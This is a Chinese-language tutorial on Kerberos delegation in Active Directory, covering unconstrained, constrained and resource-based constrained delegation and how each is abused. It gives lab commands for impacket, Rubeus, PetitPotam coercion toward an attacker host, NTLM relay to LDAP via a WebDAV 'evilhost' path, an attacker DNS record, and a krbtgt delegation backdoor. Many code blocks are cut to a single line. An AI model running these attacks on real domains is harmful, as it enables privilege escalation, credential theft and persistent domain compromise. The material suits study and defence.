Kerberos Attacks - 委派的原理与利用
委派
什么是委派:
Kerberos 委派是 Kerberos 身份验证协议中的一项功能,允许服务代表用户行事。例如,Web 服务器可以使用 Kerberos 委派来验证用户身份,然后使用该用户身份验证票证代表该用户身份访问后端数据库。
委派分为:
- 非约束委派(Unconstrained Delegation):允许被委派的服务账户以委派用户的身份访问任何服务,存在较大的安全风险
- 约束委派(Constrained Delegation):限制了委派的范围,服务账户只能访问特定的服务,减少了安全风险
- 基于资源的约束委派(Resource Based Constrained Delegation 也称 RBCD):进一步限制了委派权限,将委派的控制权交给拥有被访问资源的管理员,提高了安全性
域中能够委派的账号类型:
- 主机账号(机器账户):活动目录中的Computers组内的计算机
- 服务账户:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer、MYSQL等;域用户通过注册SPN也能成为服务账号。
委派的配置
非约束委派
选择:信任此计算机来委派任何服务 (仅 Kerberos)(T)
配置了非约束性委派属性的计算机用户的 userAccountControl 属性为:WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION,其对应的数是 0x81000=528384
msDS- AllowedToDelegateTo 属性为空
约束委派
约束性委派有两种:
- 仅使用 Kerberos(K)
- 使用任何身份验证协议 (N)
一、仅用 Kerberos 协议进行身份验证,不支持协议转换。配置了仅使用 Kerberos(K) 约束性委派的 机器账号 和 服务账号 的 userAccountControl 属性与正常账号一样,其 msDS- AllowedToDelegateTo 属性会有允许被委派的服务的 SPN。
点击添加来添加服务,通过spn查找来查看当前域内的服务,这里就添加一个HOST/Win7.test.com作为实例
随便添加一个服务
msDS- AllowedToDelegateTo 属性:
二、使用任何身份验证协议 (N),支持协议的转换。其 msDS-AllowedToDelegateTo 属性会有允许被委派的服务的 SPN。
配置了使用任何身份验证协议 (N) 约束性委派的 机器账号 的 userAccountControl 属性为: WORKSTATION_TRUST_ACCOUNT | TRUETED_TO_AUTHENTICATE_FOR_DELEGATION
,其对应的数是0x1001000=16781312
配置了使用任何身份验证协议 (N) 约束性委派的 服务账号 的 userAccountControl 属性为:NORMAL_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
,其对应的数是0x1000200=16777728
基于资源的约束委派
通过 msDS-AllowedToActOnBehalfOfOtherIdentity 属性进行配置,只能在命令行进行配置
#To set attribute: |
流程-非约束委派
Windows Server 2000 首次发布Active Directory时引入,客户端会将其 TGT 的副本委派给某个服务,因此该服务可以使用该 TGT 在网络中代表客户端行事。
以web服务器(HTTP)+文件服务器(FS)作为该实验场景,基本流程:
通信流量为:
- 客户端请求TGT(AS-REQ)
- KDC返回TGT(AS-REP)
- 客户端请求HTTP服务器的ST(TGS-REQ)
- KDC返回ST,但是 ok-as-delegate 标志设置为 TRUE,通知客户端所请求的服务已获得授权委托
- 客户端再次发起新的TGS-REQ请求,用于请求获取 额外的用户TGT,且要求该TGT开启 forwardable 和 forwarded,即
可转发TGT
- KDC返回
可转发TGT
- 客户端向HTTP服务器发起AP-REQ请求,该请求包含ST 和
可转发TGT
票证 - HTTP服务器将
可转发TGT
缓存在内存中,并使用该TGT向KDC请求FS的ST - KDC返回FS的ST
- HTTP收到FS的ST后,调用FS服务
- FS将结果返回给HTTP
- HTTP再将结果返回给客户端
流程-约束委派
由于非约束委派可以伪造访问任何服务的不安全性,微软在 windows server2003 中引入了约束委派,旨在提供一种可供服务使用的更安全的委派形式,将委派范围限制为仅明确允许的服务,在约束委派中,TGS 请求中不需要包含用户的 TGT。服务本身可以代表用户请求其他服务的服务票证,只要有证据表明它已收到用户的请求即可
对 Kerberos 协议进行了拓展,引入了 S4U。其中 S4U 支持两个子协议:
- Service for User to Proxy (S4U2proxy) :允许服务账户以用户的身份请求其他服务的服务票据,并将其传递给目标服务,因此具有更广泛的委派权限。
- Service for User to Self (S4U2self) :允许服务代表用户获取自身的服务票证,但无法代表用户请求其他服务
仅使用 Kerberos
当客户端使用 Kerberos 进行身份验证时,服务可以委托(使用 S4U2Proxy 扩展)
Kerberos 认证
客户端向 Web 服务器发送 HTTP AP-REQ 消息,请求包括服务票证ST
HTTP服务可以使用 S4U2Proxy 请求额外的服务票证。将用户ST票证附加到TGS-REQ结构的 附加票证 字段中。
KDC 将检查附加票证,验证其是否可转发,并通过检查 msDS-AllowedToDelegateTo 属性进一步验证 HTTP服务 是否可以委托给 FS服务。通过TGS-REP将FS的ST返给HTTP服务
HTTP收到FS的ST后,调用FS服务
FS将结果返回给HTTP
HTTP再将结果返回给客户端
使用任何身份验证协议
无论客户端如何进行身份验证,服务都可以委托(使用 S4U2Self 和 S4U2Proxy 扩展)
例如通过 NTLM 身份验证,服务就没有附加票证,此时需要另一种方式来获取客户端代表其委派的票证,服务可以调用 S4U2Self 来要求身份验证服务为其自身生成任意用户的 TGS,随后再调用 S4U2Proxy。
- 客户端向 Web 服务器发送 HTTP 请求。由于应用程序不接受 Kerberos,因此将使用 NTLM 执行身份验证
- 由于目前没有客户的TGS,无法去获取FS的TGS,所以先使用S4U2Self来请求客户的TGS,存在特定于 S4U2Self 扩展的结构 pA-FOR-X509-USER和 pA-FOR-USER,其名称为要模拟的客户端
- KDC 将验证 DEV 是否配置了启用约束委派,返回代表自身的
可转发TGS
- 发起S4U2Proxy 请求FS服务的ST
- 返回FS服务的ST
- 调用FS服务
- FS将结果返回给HTTP
- HTTP再将结果返回给客户端
流程-基于资源的约束委派
为了配置受约束的委派,必须拥有SeEnableDelegation特权,该特权很敏感,通常仅授予域管理员。为了使用户/资源更加独立,Windows Server 2012中引入了基于资源的约束委派(RBCD)。
RBCD允许资源配置受信任的帐户委派给他们:仅允许ServiceA能委派访问我的服务
RBCD将委派的控制权交给拥有被访问资源的管理员:ServiceB的管理员可以配置RBCD,不需要域管了
RBCD是通过 msDS-AllowedToActOnBehalfOfOtherIdentity 属性类进行配置
见下图对比,约束委派是 出去能访问到谁,RBCD是 谁能够访问到我
其通信流程与约束委派相同
域内委派关系查询工具
除了 powerview、ADFind、ldapsearch 外还有几种通用查询工具
impacket
impacket-findDelegation -dc-ip 192.168.100.128 test.com/tom:Ab123456 |
Adinfo
./Adinfo -d test.com --dc 192.168.131.130 -u fff -H 5e956... |
攻击-非约束委派
根据其流程,假设serverA的机器账户开启了非约束委派,用户user与KDC进行正常的kerberos认证中,KDC发现serverA开启了非约束委派会在TGS-REP中添加标志位 ok-as-delegate ,随后用户user再次发起TGS-REQ用于请求获取可代表用户身份的 可转发TGT,KDC返回,然后在AP-REQ中将 ST和可转发TGT 二者一起发送给serverA,随后serverA将代表用户身份的 可转发TGT储存在自己的lsass进程中,后续就能利用这个TGT去代表用户user去访问任何服务。
只要想办法让目标机器对非约束委派机器发起认证,就能获取TGT代表用户去访问任何服务
非约束委派查询
在域内探测侦察查询非约束委派的账号有几种方法:
powerview:
Set-ExecutionPolicy Bypass -Scope Process -Force |
ADFind:
# 查询 非约束性委派的计算机/计算机账户 |
ldapsearch:
sudo apt install ldap-utils |
攻击利用
如果目前拿下了serverA机器中的某些非约束委派账号权限,两种攻击利用思路:
- 查看当前内存中有哪些票据,利用票据
- 诱导或强迫目标机器(可以是域控)和该机器进行认证,从而导出内存中的目标机器TGT
利用现成票据
如果以前有机器访问过非约束委派机器那么内存中肯定有现成的TGT,直接导出当前票据看
klist |
强制身份认证
可见《NTLM Relay-获取NTLM方式》通过以下几种 漏洞/特性/bug 强制目标主机对非约束委派账号进行身份认证,此时非约束委派机器内存中就有目标TGT
- PrinterBug
- PeitiPotam
- DFSCoerce
- ShadowCoerce
- PrivExchange
委派机器监听TGT
Rubeus.exe monitor /interval:3 /targetuser:DC01$ /nowrap |
PetitPotam进行强制认证
impacket-PetitPotam -u 'WIN19$' -hashes :c38ca39.. -d xiaorang.lab -dc-ip 172.22.4.7 WIN19.xiaorang.lab 172.22.4.7 |
将Rubeus接收内容保存为票据
echo 'doIFlDCCBZCg..' | base64 -d > DC.kirbi |
攻击-约束委派
根据约束委派流程,配置了约束委派的账号无法缓存目标的TGT,只能通过S4U协议获取某些特定的服务的ST,针对约束委派的攻击有以下思路:如果能拿到约束委派用户(或主机)的密码或者Hash,就可以伪造S4U请求:伪装成服务用户以 任意用户的权限 申请 指定服务的ST
利用前提:设置了 仅信任此用户作为指定服务的委派 - 使用任何身份验证协议 这是因为委派攻击核心是要通过S4U2Self协议去伪造任意用户,如果设置了仅使用 Kerberos,则强制仅使用S4U2Proxy。
比如查出来WIN7$有约束委派,委派的服务为域控的CIFS(Windows文件共享),当拿到WIN7的凭证后就可以伪造域管administrator去访问域控的文件系统
deepseek总结的
攻击场景 | 目标 SPN |
---|---|
WMI 远程执行 | HOST |
PowerShell/WinRM 远程 | HTTP |
DCSync | LDAP |
文件共享访问 | CIFS |
环境模拟
为域内用户tom注册SPN使其成为服务账户
setspn -Q test/win7.test.com |
随后配置约束委派,将其委派到域控的CIFS服务
通过impacket查询域内委派关系,不同的设置回显也不同,此时代表环境模拟成功
仅使用Kerberos:
使用任何身份验证协议:
约束委派查询
powerview:
# 导入 PowerView 脚本 |
ADFind:
# 查询域内约束性委派的计算机 |
ldapsearch:
# 查询域内约束性委派的计算机 |
攻击利用
有委派账号凭证
如果直接有委派账号的凭证(明文密码、hash)可直接获取特定服务的ST。
- Rubeus:
# 利用票据 |
- impacket:
# 利用票据 |
使用任何身份验证协议,直接申请特定服务ST
impacket-getST -dc-ip 192.168.100.128 -spn CIFS/DC-1.test.com -impersonate Administrator test.com/tom:Ab123456 |
仅使用 Kerberos,就会报错 KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
- kekeo:
# 本地申请服务账号TGT |
本地导出委派账号票据
如果没有委派账号的凭证,但是拿下了这台机器中有委派账号,直接提权抓凭证或者导出票据,剩下步骤同上
# 导出票据 |
攻击-基于资源的约束性委派
传统的约束委派是正向的, 需要以 SeEnableDelegation 权限将 Service A 的 msDS-AllowedToDelegateTo
属性指定为 Service B
而基于资源的约束委派则是反向的,只需要在 Service B 上将 msDS-AllowedToActOnBehalfOfOtherIdentity
属性指定为 Service A,从而指定只能ServiceA来访问自身服务
配置 RBCD 的关键在于 msDS-AllowedToActOnBehalfOfOtherIdentity
属性, 通常以下用户能够修改此属性
- 将主机加入域的用户 (机器账户中会有一个 msDS-CreatorSID 属性, 使用非域管账户加入域时才会显示)
- Account Operators (能修改任意域内非域控机器的委派属性)
- NT AUTHORITY\SELF (该主机的机器账户)
根据RBCD特性,能够模拟其他用户的权限访问自己,所以资源的约束委派只能对自己进行攻击,也就是说 提权操作 或 权限维持
RBCD的攻击都是围绕 msDS-AllowedToActOnBehalfOfOtherIdentity 来进行的,由于该属性只能有特定的用户/用户组修改,所以RBCD攻击核心问题是要控制这些用户,从而修改此属性指向一个具有SPN的账户(S4U2Self只适用于具有SPN的账户),常规利用是指向一个新创建的机器账号(机器账户默认注册RestrictedKrbHost/domain和HOST/domain这两个SPN),利用新机器账号伪造administrator身份访问目标服务达到本地提权目的
RBCD查询
分两种情况:
- 拿下了一个域账号,查询能修改哪些机器,实现横向/提权
- 拿下了一台域内机器,反向查询哪些域账号有修改权限,拿下域账号后实现提权
情况一
# 查用户账户SID |
情况二
# 查SID |
综上能看到域账号tom能修改WIN7
一个能查询域内用户与机器对应关系的工具:
using System; |
攻击利用
常规利用
思路:
利用可控域用户创建一个机器账户 (每个域用户默认可以创建 10 个机器账户, 即
msDS-MachineAccountQuota (MAQ)
属性)修改目标主机的
msDS-AllowedToActOnBehalfOfOtherIdentity
属性, 使其指向新创建机器账户的 SID利用该机器账户的凭证通过 S4U 协议申请委派至目标主机的 ST 票据, 实现本地提权/横向移动
首先利用域账号创建机器账户
impacket-addcomputer -computer-name TEST\$ -computer-pass 123456 -dc-host DC-1.test.com -dc-ip 192.168.100.128 test.com/tom:Ab123456 |
配置 msDS-AllowedToActOnBehalfOfOtherIdentity
属性指向新机器账户
impacket-rbcd -dc-ip 192.168.100.128 -action write -delegate-to WIN7\$ -delegate-from TEST\$ test.com/tom:Ab123456 |
S4U 协议伪造 Administrator 用户申请 ST
impacket-getST -dc-ip 192.168.100.128 -spn cifs/WIN7.test.com -impersonate Administrator test.com/test\$:123456 |
这里要把域控和目标添加到hosts中
192.168.100.128 DC-1.test.com
192.168.100.130 WIN7.test.com
RBCD属性清除
# 替换为目标计算机名称 |
服务账户提权(Rotten Tomato)
参考:https://mp.weixin.qq.com/s/Ue2ULu8vxYHrYEalEzbBSw
除了上述将主机加入域的用户账户能够修改属性,还有一个是 NT AUTHORITY\SELF(机器账户自身),在IIS、MSSQL、 Network Service 等服务账户出网时使用的是本机的机器账户,因此可以发起ldap请求以机器账户的身份修改自身的委派属性,从而提升至本地管理员权限
如果能控制虚拟账户下的某个服务发起ldap请求或者通过relay2ldap是不是一种新提权方式呢 🤔
例如拿下MSSQL后,利用 SharpAllowedToAct 添加机器账户并配置委派属性
C:\Users\Public\SharpAllowedToAct.exe -m TEST -p 123456 -t MSSQL |
成功提权
impacket-getST -dc-ip 192.168.100.128 -spn cifs/MSSQL.test.com -impersonate Administrator test.com/test\$:123456 |
RBCD后门
用作域控的权限维持,拿下域控后,设置 krbtgt 服务的委派属性为指定后门账户
# 添加机器账户 |
NTLM Relay to LDAP
通过不同协议relay2ldap完成RBCD的属性配置,实现RCE
SMB(CVE-2019-1040)
默认情况下, LDAP 的签名策略为协商签名 (是否签名由客户端决定), 当使用 SMB 协议发起 LDAP 请求时, 就会要求 LDAP 服务器对 NTLM 认证请求强制签名, 所以一般来说无法通过 SMB 协议进行 NTLM Relay to LDAP,但是 2019 年爆出了 CVE-2019-1040 漏洞,它能够绕过 NTLM MIC 的防护机制,修改 NTLM 请求中的某些标志位,使得客户端对于 SMB 发起的 LDAP 请求不要求签名,从而实现 NTLM Relay
通过 强制认证 + RBCD 可以实现普通域账号域内提权、横向移动
如果是攻击域控的话需要有一个辅域环境,因为没法将主域控的ldap请求relay到自身,所以借助辅域控relay到主域控
使用普通域账号添加机器账号
impacket-addcomputer -computer-name TEST\$ -computer-pass 123456 -dc-host DC-1.test.com -dc-ip 192.168.100.128 test.com/tom:Ab123456 |
开启relay,注意设置 --remove-mic
impacket-ntlmrelayx -t ldap://DC-1.test.com -smb2support --remove-mic --delegate-access --escalate-user 'TEST$' |
强制域控进行认证
impacket-PetitPotam -d test.com -dc-ip <dc-ip> -u tom -p Ab123456 <kali> <target> |
这一块的协议细节和攻击利用场景还有很多需要学习:
CVE-2019-1040配合打印机漏洞实现攻击Exchange进行资源委派攻击域控
CVE-2019-1040配合打印机漏洞实现攻击主域控进行资源委派攻击辅助域控
HTTP
这里引入一个真实案例:这是一篇“不一样”的真实渗透测试案例分析文章,介绍了利用WEBDAV XXE(JAVA)进行NTLM Relay从而搭配RBCD实现横向移动,其原理是:由于sun.net.www.protocol.http.HttpURLConnection
发送HTTP请求遇到状态码为401的HTTP返回头时,会判断该页面要求使用哪种认证方式,若攻击者回复要求采用NTLM认证则会自动使用当前用户凭据进行认证
开启relay
impacket-ntlmrelayx -t ldap://<dc-ip> --delegate-access --escalate-user 'TEST$' |
发起XXE
PROPFIND /webdav/ HTTP/1.1 |
WebDAV
原理文章:Privilege Escalation - NTLM Relay over HTTP (Webdav)
因为 SMB 协议导致协商签名的服务器对 NTLM 认证请求强制签名的原因,让攻击角度转向了那些不支持签名的客户端,例如 HTTP、WebDAV等
WebDAV(Web-based Distributed Authoring and Versioning,基于 Web 的分布式编写和版本控制)是一种基于 HTTP 的通信协议,扩展了几个 HTTP 标准方法,在强制身份验证中,我们可以通过 WebDAV 代替 SMB,并通过以下格式的 UNC 路径访问攻击者的 HTTP 服务器,从而在 Relay To LDAP/s 中绕过签名
\\evilhost@80\webdav\test.txt |
当对启用 WebDAV 的 UNC 路径触发文件操作时,客户端主机将与 WebDAV 服务器执行如下交互过程:
- 客户端发出一个 OPTIONS 方法来发现服务器支持的请求方法
- 如果支持 PROPFIND 方法,则发出 PROPFIND 请求来发现目录结构
- 如果服务器以 401 Unauthorized 响应并通过 WWW-Authenticate 标头请求 NTLM 身份验证,则 WebDAV 将继续启动 NTLM 质询响应身份验证,最终将 Net-NTLM Hash 提供给服务器
尽管安装并启用 WebClient 服务是 Workstation 版本系统上的默认设置,但并不适用于 Server 版本系统。在 Server 版本系统上,我们仍然需要通过附加功能来安装并启用 WebDAV 组件。但是低权限用户仍然可以通过调用服务控制管理器(Services Control Manager,SCM)来启动 WebClient 服务:
#include <windows.h> |
在内网对服务进行探测
crackmapexec smb 192.168.30.0/24 -u tom -p Ab123456 -d test.com -M webdav |
为了能让开启了 WebClient 服务的客户端成功访问到我们,我们需要通过已获取的域用户权限,在域内为攻击机添加一个 DNS 记录。因为在默认情况下,WebClient 仅对本地内部网(Local Intranet)或受信任的站点(Trusted Sites)列表中的目标进行身份验证
python3 dnstool.py -u test.com\\tom -p Ab123456 -r evil.test.com -d <kali ip> --action add DC-1.test.com |
攻击机开启ntlmrelayx
impacket-ntlmrelayx -t ldap://<dc-ip> --delegate-access --escalate-user 'TEST$' --no-dump |
PetitPotam强制认证
impacket-PetitPotam -d test.com -dc-ip <dc-ip> -u tom -p Ab123456 <kali> <target> |
Kerberos Relay to LDAP
参考文章:
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html
https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/
https://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9
https://github.com/ShorSec/KrbRelayUp
大概意思好像是可以通过 DCOM 或者 DNS 触发 Kerberos Relay, 并使用当前机器账户的 ST 中继至 LDAP 服务从而配置 RBCD/Shadow Credentials
后续研究 Kerberos Relay 再补充
参考
委派:
委派攻击利用: